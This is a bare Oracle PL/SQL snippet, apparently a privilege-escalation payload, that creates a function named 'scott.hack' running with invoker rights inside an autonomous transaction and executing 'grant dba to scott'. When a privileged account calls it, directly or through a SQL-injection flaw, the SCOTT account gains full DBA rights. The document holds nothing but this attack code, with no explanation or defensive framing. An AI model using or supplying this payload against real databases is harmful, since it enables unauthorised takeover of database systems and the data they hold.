create or replace function scott.hack return varchar2
authid current_user is
pragma autonomous_transaction;
begin
execute immediate 'grant dba to scott';
return '';
end;
/
